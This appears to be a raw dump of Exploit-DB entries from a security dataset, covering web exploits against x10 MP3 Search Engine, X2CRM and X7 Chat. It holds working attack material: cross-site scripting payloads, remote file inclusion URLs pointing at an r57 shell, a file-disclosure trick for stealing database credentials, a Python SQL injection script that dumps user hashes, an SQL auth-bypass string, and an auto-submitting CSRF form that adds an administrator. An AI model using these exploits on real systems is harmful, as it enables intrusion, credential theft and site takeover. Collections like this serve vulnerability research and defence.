deardaniel/secdata-raw huggingface dataset:
Exploit-DB #34661
Description: x10 MP3 Automatic Search Engine 1.6.5b - 'info.php?name' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-08-29
Author: Moudi

Exploit:
source: https://www.securityfocus.com/bid/43336/info
     
x10 Media Automatic MP3 Search Engine is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
     
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
     
x10 Media Automatic MP3 Search Engine 1.6.5 is vulnerable; other versions may also be affected. 

http://www.example.com/info.php?name="><script>alert(document.cookie);</script>
Exploit-DB #34662
Description: x10 MP3 Automatic Search Engine 1.6.5b - 'lyrics.php?id' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-08-29
Author: Moudi

Exploit:
source: https://www.securityfocus.com/bid/43336/info
      
x10 Media Automatic MP3 Search Engine is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
      
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
      
x10 Media Automatic MP3 Search Engine 1.6.5 is vulnerable; other versions may also be affected. 

http://www.example.com/lyrics.php?id="><script>alert(document.cookie);</script>
Exploit-DB #34659
Description: x10 MP3 Automatic Search Engine 1.6.5b - 'video_listing.php?key' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-08-29
Author: Moudi

Exploit:
source: https://www.securityfocus.com/bid/43336/info
   
x10 Media Automatic MP3 Search Engine is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
   
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
   
x10 Media Automatic MP3 Search Engine 1.6.5 is vulnerable; other versions may also be affected. 

http://www.example.com/video_listing.php?category=[NB]&sort=[NB]&key=[XSS]
Exploit-DB #6480
Description: X10media Mp3 Search Engine 1.5.5 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-09-17
Author: THUNDER

Exploit:
################## THUNDER #########################################################
#
#
#    X10media Mp3 Search Engine v1.5.5 Remote File Inclusion Vulnerability
#
#    Founded by : THUNDER <t4h[at]hotmail.fr>
#    Dork: "This search engine is in no way intended for illegal downloads."
#
##### Vuln Code: ###################################################################
#
# file : /includes/function_core.php
#  -88.- include ($web_root."js/Mp3Player.php");
#
#-----------------------------------------------------------------
#
# file : /templates/layout_lyrics.php
#  .5.- include ($web_root."includes/function_list.php");
#
###### Exploit #####################################################################
#
#   http://www.target.com/[path]/includes/function_core.php?web_root=http://127.0.0.1/r57.txt?
#
#   http://www.target.com/[path]/templates/layout_lyrics.php?web_root=http://127.0.0.1/r57.txt?           
#         
#
#
###### Greets #######################################################################
#
#   MoRoCcan InjEctor5 Te4m and All Hackers
#
####################################################################################

# milw0rm.com [2008-09-17]
Exploit-DB #7074
Description: X10media Mp3 Search Engine 1.6 - Remote File Disclosure
Type: webapps
Platform: php
Date: 2008-11-09
Author: THUNDER

Exploit:
################# ~THUNDER ################################################################


    ~X10media Mp3 Search Engine v1.5.5 - 1.6 Remote File Disclosure Vulnerability

    ~Founded by : THUNDER <t4h[at]hotmail.fr>
    ~Dork: "This search engine is in no way intended for illegal downloads. "
    ~File : Download.php

===========================================================================================

to read files you need to encode the url, so you can use this php code :
<?
//Encode URL ** THUNDER **
function enc($string){
    $hex='';
    for ($i=0; $i < strlen($string); $i++){
        $hex .= dechex(ord($string[$i]));
    }
    return $hex;
}
$thunder = $_GET[t];
echo enc($thunder);
?>

How to use : http://127.0.0.1/encode.php?t=[Url]
Ex : http://127.0.0.1/encode.php?t=includes/constants.php
 
##### ~Exploit ############################################################################


   http://www.target.com/[path]/download.php?url=[Encoded url]

Example :
let's download the constants.php file wich contains the database login and password .
the file will be downloaded as .mp3 exstension .

http://www.target.com/[path]/download.php?url=696e636c756465732f636f6e7374616e74732e706870

Open the downloaded file with any text editor... ,and you got the database .           
          


###########################################################################################

# milw0rm.com [2008-11-09]
Exploit-DB #8408
Description: X10media Mp3 Search Engine < 1.6.2 - Admin Access
Type: webapps
Platform: php
Date: 2009-04-13
Author: THUNDER

Exploit:
################# ~THUNDER ################################################################


    ~Product: X10media Mp3 Search Engine v1.x Admin Access Vulnerability
    ~Author : THUNDER <t4h[at]hotmail.fr>
    ~File : admin/admin.php

##### ~Vulnerable Code ############################################################################


/**

 * User not an administrator, redirect to main page

 * automatically.

 */

if(!$session->isAdmin()){

   header("Location: ../main.php");

}

else{

/**

 * Administrator is viewing page, so display all

 * forms.

 */

}
----------------------------------------

if the user is not admin redirect it to main.php, so we can exploit it using lynx by disabling redirection.
 
##### ~Exploit ############################################################################

lynx -noredir http://www.vulnerable.com/admin/admin.php

allow the cookies, and you're in admin panel.


##### ~Solution ############################################################################

Open admin/admin.php
1- find:

/**

 * User not an administrator, redirect to main page

 * automatically.

 */

if(!$session->isAdmin()){

   header("Location: ../main.php");

}

else{

/**

 * Administrator is viewing page, so display all

 * forms.

 */

}



2- Replace it with:

/**

 * User not an administrator, show error 404

 */

if(!$session->isAdmin()){

   die(header("HTTP/1.1 404 Not Found"));

}

###########################################################################################

# milw0rm.com [2009-04-13]
Exploit-DB #52098
Description: X2CRM 8.5 - Stored Cross-Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2025-03-27
Author: Okan Kurtulus

Exploit:
# Exploit Title: X2CRM 8.5 - Stored Cross-Site Scripting (XSS)
# Date: 12 September 2024
# Exploit Author: Okan Kurtulus
# Vendor Homepage: https://x2engine.com/
# Software Link: https://github.com/X2Engine/X2CRM
# Version: X2CRM v8.5
# Tested on: Ubuntu 22.04
# CVE : CVE-2024-48120

1-) Log in to the system with any user account. Navigate to the “Opportunities” section from the top menu and select “Create List.” In the “Name” field of the new screen, enter the malicious XSS payload and click “Create.”

2-) Next, return to the “Opportunities” tab and click on “Lists” again. The stored XSS payload will be triggered.

XSS Trigger Request:

POST /x2crm/x2engine/index.php/opportunities/createList HTTP/1.1
Host: 192.168.1.108
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 390
Origin: http://192.168.1.108
Connection: keep-alive
Referer: http://192.168.1.108/x2crm/x2engine/index.php/opportunities/createList
Cookie: PHPSESSID=uijrtnp42qqo29vfkb4v0sps3i; YII_CSRF_TOKEN=Rkw1SWxTc1dpa0Z0OGdpb1RxY0ZGVDY5X3pPMzVFTDGjgT_kJmGLFkvRCi_Y9OO4f0QIHNTvqbSw1t9UVVXL4g%3D%3D; 5d8630d289284e8c14d15b14f4b4dc28=9d5b82f1240eb47cd73a20df560d9b3086847e33a%3A4%3A%7Bi%3A0%3Bs%3A1%3A%223%22%3Bi%3A1%3Bs%3A4%3A%22test%22%3Bi%3A2%3Bi%3A2592000%3Bi%3A3%3Ba%3A0%3A%7B%7D%7D; LoginForm[username]=test; LoginForm[rememberMe]=1
Upgrade-Insecure-Requests: 1
Priority: u=0, i

YII_CSRF_TOKEN=Rkw1SWxTc1dpa0Z0OGdpb1RxY0ZGVDY5X3pPMzVFTDGjgT_kJmGLFkvRCi_Y9OO4f0QIHNTvqbSw1t9UVVXL4g%3D%3D&X2List%5Bname%5D=%3Cscript%3Ealert%282%29%3B%3C%2Fscript%3E&X2List%5Btype%5D=dynamic&X2List%5BassignedTo%5D=test2&X2List%5Bvisibility%5D=1&X2List%5BlogicType%5D=AND&X2List%5Battribute%5D%5B%5D=alternativeEmail&X2List%5Bcomparison%5D%5B%5D=%3D&X2List%5Bvalue%5D%5B%5D=test&yt0=Create
Exploit-DB #51346
Description: X2CRM v6.6/6.9 - Reflected Cross-Site Scripting (XSS) (Authenticated)
Type: webapps
Platform: php
Date: 2023-04-08
Author: Betul Denizler

Exploit:
# Exploit Title: X2CRM v6.6/6.9 - Reflected Cross-Site Scripting (XSS) (Authenticated)
# Exploit Author: Betul Denizler
# Vendor Homepage: https://x2crm.com/
# Software Link: https://sourceforge.net/projects/x2engine/
# Version: X2CRM v6.6/6.9
# Tested on: Ubuntu Mate 20.04
# Vulnerable Parameter: model
# CVE: Use CVE-2022-48177
# Date: 27.12.2022

'''

POC REQUEST:
========
GET 
/x2crm/x2engine/index.php/admin/importModels?model=asd%22%3E%3Cbody%20onload=%22alert(4)%22%3E 
HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:108.0) 
Gecko/20100101 Firefox/108.0
Accept: 
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: LoginForm[username]=admin; LoginForm[rememberMe]=1; 
PHPSESSID=959fpkms4abdhtresce9k9rmk3; 
YII_CSRF_TOKEN=e5d14327e116fe92a5feb663d52e0920f1a4adab; 
d9ee490d05f512911c1c4614c37db2b8=15982c76efa545e0e6fcd167baa86541c1ef91eda%3A4%3A%7Bi%3A0%3Bs%3A1%3A%221%22%3Bi%3A1%3Bs%3A5%3A%22admin%22%3Bi%3A2%3Bi%3A2592000%3Bi%3A3%3Ba%3A0%3A%7B%7D%7D; 
locationTrackingFrequency=60; locationTrackingSwitch=1; 
5d8630d289284e8c14d15b14f4b4dc28=15982c76efa545e0e6fcd167baa86541c1ef91eda%3A4%3A%7Bi%3A0%3Bs%3A1%3A%221%22%3Bi%3A1%3Bs%3A5%3A%22admin%22%3Bi%3A2%3Bi%3A2592000%3Bi%3A3%3Ba%3A0%3A%7B%7D%7D; 
sessionToken=FFWkdliSAKgtUbP1dKP4iswyYRelqyQ4
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1

EXPLOITATION
========
1. Select Import Records Model in admin settings
2. Inject payload to the vulnerable parameter in GET request

Payload: "><body onload="alert(4)">
'''
Exploit-DB #51345
Description: X2CRM v6.6/6.9 - Stored Cross-Site Scripting (XSS) (Authenticated)
Type: webapps
Platform: php
Date: 2023-04-08
Author: Betul Denizler

Exploit:
# Exploit Title: X2CRM v6.6/6.9 - Stored Cross-Site Scripting (XSS) (Authenticated)
# Exploit Author: Betul Denizler
# Vendor Homepage: https://x2crm.com/
# Software Link: https://sourceforge.net/projects/x2engine/
# Version: X2CRM v6.6/6.9
# Tested on: Ubuntu Mate 20.04
# Vulnerable Parameter: Actions[subject]
# CVE: CVE-2022-48178
# Date: 27.12.2022

'''
POC REQUEST:
========
POST /c2xrm/x2engine/index.php/actions/update?id=1 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:108.0) 
Gecko/20100101 Firefox/108.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 172
Origin: http://localhost
Connection: close
Referer: 
http://localhost/c2xrm/x2engine/index.php/actions/viewAction?id=1
Cookie: LoginForm[username]=admin; LoginForm[rememberMe]=1; 
PHPSESSID=kg3n7kcjqtm29fc7n4m72m0bt5; 
YII_CSRF_TOKEN=e5d14327e116fe92a5feb663d52e0920f1a4adab; 
5d8630d289284e8c14d15b14f4b4dc28=779a63cb39d04cca59b4a3b9b2a4fad817930211a%3A4%3A%7Bi%3A0%3Bs%3A1%3A%224%22%3Bi%3A1%3Bs%3A5%3A%22test2%22%3Bi%3A2%3Bi%3A2592000%3Bi%3A3%3Ba%3A0%3A%7B%7D%7D; 
d9ee490d05f512911c1c4614c37db2b8=15982c76efa545e0e6fcd167baa86541c1ef91eda%3A4%3A%7Bi%3A0%3Bs%3A1%3A%221%22%3Bi%3A1%3Bs%3A5%3A%22admin%22%3Bi%3A2%3Bi%3A2592000%3Bi%3A3%3Ba%3A0%3A%7B%7D%7D; 
sessionToken=Ncr7UIvK2yPvHzZc8koNW4DaIXxwZnsr
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

YII_CSRF_TOKEN=e5d14327e116fe92a5feb663d52e0920f1a4adab&Actions%5Bsubject%5D=%3Cscript%3Ealert(1)%3C%2Fscript%3E&Actions%5Bpriority%5D=1&Actions%5BactionDescription%5D=test

EXPLOITATION
========
1. Create an action
2. Inject payload to the vulnerable parameter in POST request

Payload: %3Cscript%3Ealert(1)%3C%2Fscript%3E
'''
Exploit-DB #6592
Description: X7 Chat 2.0.1A1 - 'mini.php' Local File Inclusion
Type: webapps
Platform: php
Date: 2008-09-27
Author: NoGe

Exploit:
====================================================================


  [o] X7 Chat <= 2.0.1A1 Local File Inclusion Vulnerability

       Software : X7 Chat version 2.0.5.1
       Vendor   : http://x7chat.com/
       Author   : NoGe
       Contact  : noge[dot]code[at]gmail[dot]com


====================================================================


  [o] Vulnerable file

       help/mini.php

        include("./help/{$_GET['help_file']}");



  [o] Exploit

       http://localhost/[path]/help/mini.php?help_file=[LFI]%00



  [o] Dork

       "powered by x7 chat"


====================================================================


  [o] Greetz

       MainHack BrotherHood [ www.mainhack.com ]
       VOP Crew [ Vaksin13 OoN_BoY Paman ]
       H312Y yooogy mousekill }^-^{ k1tk4t
       skulmatic olibekas ulga Cungkee str0ke

        
====================================================================

# milw0rm.com [2008-09-27]
Exploit-DB #6607
Description: X7 Chat 2.0.1A1 - Local File Inclusion
Type: webapps
Platform: php
Date: 2008-09-27
Author: JIKO

Exploit:
-------------------------------------------------------------------------
  --          JIKI Team [ JIKO + KIl1er + merwan-neo ]        ---
-------------------------------------------------------------------------
# Author  : jiko
# email  : jalikom@hotmail.com
# Home   : www.no-exploit.Com
# Script  : X7 Chat Version 2.0.1
# Bug   :  Local File Inclusion Vulnerability
=========================JIkI Team===================
# Exploit  :
 
 http://localhost/[script]/help/mini.php?help_file=[file]
=========================JIKI Team===================
 greetz : all my friend and all No-back members and tryag.Com Gold_M
          Cochlain , Hcj , Hassin X , all muslims
 visit: www.no-back.org & www.tryag.com & ==> www.no-exploit.Com
-------------------------------------------------------------------------
  --            JIKI Team [ JIKO + KIl1er ]    --
-------------------------------------------------------------------------
------==        troops of Mohamed comming inchalah     =-----------------
Ana muslim , Ana 3arabi , Ana Magribi , bladi maroc

# milw0rm.com [2008-09-27]
Exploit-DB #30757
Description: X7 Chat 2.0.4 - 'frame.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-11-12
Author: ShAy6oOoN

Exploit:
source: https://www.securityfocus.com/bid/26417/info

X7 Chat is prone to multiple cross-site scripting vulnerabilities because the application fails to sufficiently sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal potentially sensitive information and launch other attacks.

These issues affect X7 Chat 2.0.4; other versions may be also vulnerable. 

http://www.example.com/sources/frame.php?room=<script>alert(123);</script>
Exploit-DB #30758
Description: X7 Chat 2.0.4 - 'upgradev1.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-11-12
Author: ShAy6oOoN

Exploit:
source: https://www.securityfocus.com/bid/26417/info
 
X7 Chat is prone to multiple cross-site scripting vulnerabilities because the application fails to sufficiently sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal potentially sensitive information and launch other attacks.
 
These issues affect X7 Chat 2.0.4; other versions may be also vulnerable. 

http://www.example.com/upgradev1.php?INSTALL_X7CHATVERSION=<script>alert(123);</script>
Exploit-DB #4907
Description: X7 Chat 2.0.5 - 'day' SQL Injection
Type: webapps
Platform: php
Date: 2008-01-14
Author: nonroot

Exploit:
#!/usr/bin/python
#
#Exploit for xchat 2.0.5
#Saca los usuarios y los hash
#By nonroot - 2008
#it's a PoC, please use responsibly
#
import string,urllib
import sys,re
print "Target host: i.e: http://127.0.0.1/x7chat/"
host=raw_input("Target host ( include http and /): ")
print "Output file: i.e: salida.txt"
out_file=raw_input("Output file: ")
print "trying ..."
SQL_users="1%20UNION%20select%20username,id,username%20from%20x7chat2_users%20--"
SQL_hashs="1%20UNION%20select%20username,id,password%20from%20x7chat2_users%20--"
link_attack=host+"index.php?act=sm_window&page=event&day="
response = urllib.urlopen(link_attack + SQL_users).read()
findall_users=re.compile("</b>(\w+)<Br><Br>").findall
found_users=findall_users(response)
if len(found_users)==0:
	print "Sorry, exploit failed, please review the SQL string and try to change something like tables or wathever"
	print "Or, there are not users, or x7chat software is version >= 2.0.5.1, so sorry. try to find a new bug ;)"
	sys.exit()
#Find the hashs
response = urllib.urlopen(link_attack + SQL_hashs).read()
findall_hashs=re.compile("</b>(\w+)<Br><Br>").findall
found_hashs=findall_hashs(response)
if len(found_hashs)==0:
	print "Sorry, exploit failed, please review the SQL string and try to change something like tables or wathever"
	print "Or, there are not hashs, or x7chat software is version >= 2.0.5.1, so sorry. try to find a new bug ;)"
	sys.exit()
#Save all this at file
file = open(out_file, "w")
file.write("*********************************************************************\n")
file.write("\n")
file.write("HOST:")
file.write("	")
file.write(host)
file.write("\n")
file.write("\n")
file.write("USER						HASH\n")
file.write("possible admin user: ")
file.write(found_users[0])
file.write("			")
file.write(found_hashs[0])
file.write("\n")
for i in range(len(found_users)):
	file.write(found_users[i])
	file.write("		 				")
	file.write(found_hashs[i])
	file.write("\n")
file.write("\n")
file.write("*********************************************************************\n")
file.close()
print "Successfull, please review the ",out_file," file."

# milw0rm.com [2008-01-14]
Exploit-DB #7123
Description: X7 Chat 2.0.5 - Authentication Bypass
Type: webapps
Platform: php
Date: 2008-11-14
Author: ZoRLu

Exploit:
[~] Powered By X7 Chat 2.0.5 auth bypass
[~]
[~] ----------------------------------------------------------
[~] Discovered By: ZoRLu
[~]
[~] Date: 14.11.2008
[~]
[~] Home: www.z0rlu.blogspot.com
[~]
[~] contact: trt-turk@hotmail.com
[~]
[~] N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( (
[~]
[~] my bug number now: 42
[~]
[~] my target bug number: 100
[~]
[~] -----------------------------------------------------------


Exploit:

username: ZoRLu or anything write

password: ' or ' 1=1--


login for demo:

http://x7chat2demo.hostx7.com/

username: ZoRLu

password: ' or ' 1=1--

[~]----------------------------------------------------------------------
[~] Greetz tO: str0ke & all Muslim HaCkeRs
[~]
[~] yildirimordulari.org  &  darkc0de.com
[~]
[~]----------------------------------------------------------------------

# milw0rm.com [2008-11-14]
Exploit-DB #18850
Description: X7 Chat 2.0.5.1 - Cross-Site Request Forgery (Add Admin)
Type: webapps
Platform: php
Date: 2012-05-09
Author: DennSpec

Exploit:
# Exploit Title: X7 Chat 2.0.5.1 CSRF Add Admin Exploit
# Google Dork: intitle:"Chat Room" "Powered By X7 Chat 2.0.5"
# Date: 09.05.2012
# Author: DennSpec
# Software Link: http://x7chat.com/releases/v2/x7chat2_0_5_1.zip
# Version: <= 2.0.5.1

firstly, register and give a username.

(frame.html in path of your main html page)

<html>
    <body onload="document.xform.submit();">
        <form name="xform" action="http://xxxxxxxxx.com/x7path/index.php?act=adminpanel&cp_page=users&update=YOURUSERNAME" method="post">
            <input type="hidden" name="username" value="YOURUSERNAME" />
            <input type="hidden" name="usergroup" value="Administrator" />
        </form>
    </body>
</html>

Replace http://xxxxxxxxx.com/x7path/ to your target url. Dont forget replace YOURUSERNAME to YOURUSERNAME.

add this code to inside body tag of main html page:
<iframe style="display:none;" src="frame.html"></iframe>

and... upload main page and frame.html . Send main page url to any administrator.
Exploit-DB #10931
Description: X7CHAT 1.3.6b - Arbitrary Add Admin
Type: webapps
Platform: php
Date: 2010-01-02
Author: d4rk-h4ck3r

Exploit:
#####################################################
# [+] Author : d4rk-h4ck3r
# [+] Email : tnst@w.cn
# [+] Site : www.vbspiders.com/vb
# [+] Team : Tunisian Security TeaM
# [+] Dork : powered by x7 chat 1.3.6b
#####################################################

##### Exploit-DB Notes ############
# Vendor has already addressed this issue and even provided a solution in Docs/INSTALL.txt:
# "After finishing the online setup delete the file install.php.  If you do not it will be 
# possible for anyone to create an administrator account on your chat server."
# 
# Therefore please keep in mind this exploit is not guaranteed to work.
#####################################################



The exploit :
1- go http://site.com/script/X7Chat/install.php
2- Now you are in X7 Chat Install step 1 click continue
3- Now you are in X7 Chat Install step 2 click also continue
4- Now you are in X7 Chat Install step 3 .
 change url from http://site.com/script/x7chat/install.php?step=3 to http://site.com/script/x7chat/install.php?step=4
5- now add user name and password
6- Go login page http://site.com/script/X7Chat/index.php

Good luck and don't make something bad .


Greetz to Password & Maxilog .